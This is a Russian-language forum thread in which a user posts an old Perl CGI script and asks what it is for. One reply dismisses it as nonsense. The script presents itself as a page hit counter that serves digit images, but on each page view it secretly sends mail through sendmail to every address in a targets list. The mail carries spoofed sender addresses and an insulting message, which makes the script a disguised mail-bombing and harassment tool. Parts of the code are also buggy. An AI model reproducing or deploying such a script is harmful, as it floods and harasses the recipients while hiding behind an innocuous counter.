![]() |
В старых документах нащёл прогу :
#!/usr/bin/perl $mailprog = '/usr/sbin/sendmail'; $digits_basedir = "http://www.твоя_пага.ru/digits/"; $count_file = "count.txt"; $classica = "classics.txt"; $targets = "targets.txt"; $emails = "emails.txt"; $results = "results.txt"; ($place, $Write) = split(/\&/,$ENV{QUERY_STRING}); open (COUNT,"$count_file") || die "Can't Open Count File $count_file, Error : $!\n"; ($count) = <COUNT>; chomp($count); close(COUNT); $count++; open (COUNT,">$count_file") || die "Can't Open Count File $count_file, Error : $!\n"; print COUNT "$count"; close(COUNT); $count = "0000000000".$count; @chiffres = split(//, $count); @chiffres = reverse(@chiffres); print "Location: ".$digits_basedir.$chiffres[$place].".gif\n\n"; open (COUNT,">$count_file") || die "Can't Write Count File $count_file, Error : $!\n"; ($count2) = <COUNT>; chomp($count); close(COUNT); open (CLASSICS, "$classica") || die "Can't open CLASSICS File $classica, Error : $!\n"; (@classics) = <CLASSICS>; $total = @classics; while (($count2) > ($total)){ $count2 = $count2 - $total; } $subject = $classics[$count2]; chomp ($subject); close CLASSICS; open (EMAILS, "$emails") || die "Can't open EMAILS File $emails, Error : $!\n"; (@emails) = <EMAILS>; $total2 = @emails; while (($count2) > ($total2)){ $count2 = $count2 - $total2; } $from = $emails[$count2]; chomp ($from); close EMAILS; open (RESULTS, "$results") || die "Can't Open RESULTS File $results, Error : $!\n"; ($count3) = <RESULTS>; chomp($count3); close(RESULTS); open (TARGETS, "$targets") || die "Can't Open TARGETS File $targets, Error : $!\n"; while (<TARGETS>){ ($target) = <TARGETS>; chomp ($target); open (MAIL, "|$mailprog -t"); print MAIL "Content-Type: text/plain\n"; print MAIL "Subject: $subject\n"; print MAIL "To: $target\n"; print MAIL "From: $from\n\n"; print MAIL "На козел, покушай классики!!!\n\n"; print MAIL "@classics\n"; close MAIL; $count3++; } open (RESULTS,">$results") || die "Can't Write RESULTS File $results, Error : $!\n"; print RESULTS "$count3"; close RESULTS; <img src="http://www.твоя_пага.ru/cgi-bin/counter.cgi?2"> <img src="http://wwww.твоя_пага.ru/cgi-bin/cou...gi?1"> <img src="http://wwww.твоя_пага.ru/cgi-bin/cou...mp;w"> #!/usr/bin/perl $file = "results.txt"; $digits_basedir = "http://www.твоя_пага.ru/digits/"; ($place, $Write) = split(/\&/,$ENV{QUERY_STRING}); open (COUNT, "$file") || die "Can't Open Count File $file, Error : $!\n"; ($count) = <COUNT>; chomp($count); close(COUNT); $count = "0000000000".$count; @chiffres = split(//, $count); @chiffres = reverse(@chiffres); print "Location: ".$digits_basedir.$chiffres[$place].".gif\n\n"; И не знаю что с ней делать :help: |
Да очередной чей то бред. Выкинь.
|
Время: 00:23. |
Время: 00:23.
© OSzone.net 2001-